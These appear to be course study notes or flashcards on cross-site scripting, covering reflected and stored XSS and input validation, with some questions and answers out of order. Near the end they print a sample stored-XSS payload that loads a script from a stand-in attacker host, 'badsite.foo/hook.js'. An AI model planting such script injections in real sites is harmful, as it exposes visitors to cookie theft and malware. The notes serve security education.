L16 - T16A - S7– Cross-site Scripting Attacks

True

True or False: Many network services are now deployed as web applications

True

• A developer can extend the basic protocol with software code and information stored in databases to implement a dynamic web app

• Rather than simply returning static pages and graphics

True or False: The HTTP/HTTPS web protocol is based on servers responding to client requests

The 2 methods a web application can use for running code

• Server-side code

  • Run on the HTTP/HTTPS web server to process the request

  • Builds the response before it is sent to the client

• Client-side code

  • This runs within the web browser software on the client machine to modify

    • The webpage before it is displayed to the user or  

    • Requests made to the server

User Input (web applications & vulnerability)

• Most applications depend on this

• One of the most widespread vulnerabilities in web apps is failure to validate this properly

• Example

  • User might need to sign in using an email address and password

  • web app presents two text-box fields for the user to enter those values

  • Threat actor can send a script via the username field and make the server or client execute that code

Cross-site scripting (XSS) attcak

Malicious script hosted on the attacker's site or coded in a link injected onto a trusted site designed to compromise clients browsing the trusted site, circumventing the browser's security model of trusted zones – (A+)

• Exploits the fact that the browser is likely to trust scripts that appear to come from a site the user has chosen to visit

• [answer] inserts a malicious script that appears to be part of the trusted site

Example of non-persistent type of XXS attack (read)

1. Attacker identifies an input validation vulnerability in the trusted site

2. Attacker crafts a URL to perform code injection against the trusted site

   • e.g. coded link to attackers site from trusted source/link in phishing e-mail

3. User opens the link, the trusted site returns a page containing the malicious code injected by the attacker

4. Malicious code runs in the client's browser with the same permission level as the trusted site — could be used for any of the below

   • Deface the trusted site (by adding any sort of arbitrary HTML code),  

   • Steal data from the user's cookies,  

   • Try to intercept information entered in a form, or  

   • Try to install malware

Non-persistent XSS attack (aka a reflected XSS attack)

• When a malicious script is reflected off of a web application to the victim's browser

• The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts

• Given this term because at no point is data on the web server changed in the attack

Stored /Persistent XSS Attack

Aims to insert code into a back-end database or content management system used by the trusted site

• Example

  • Threat actor may submit a post to a bulletin board with a malicious script embedded in the message

  • When other users view the message, the malicious script is executed

• Further example

  • With no input sanitization, a threat actor could type the following into a new post text field:

  • “Check out this amazing <a href="https://trusted.foo">website</a><script src="https://badsite.foo/hook.js"></script>

  • Users viewing the post will have the malicious script hook.js execute in their browser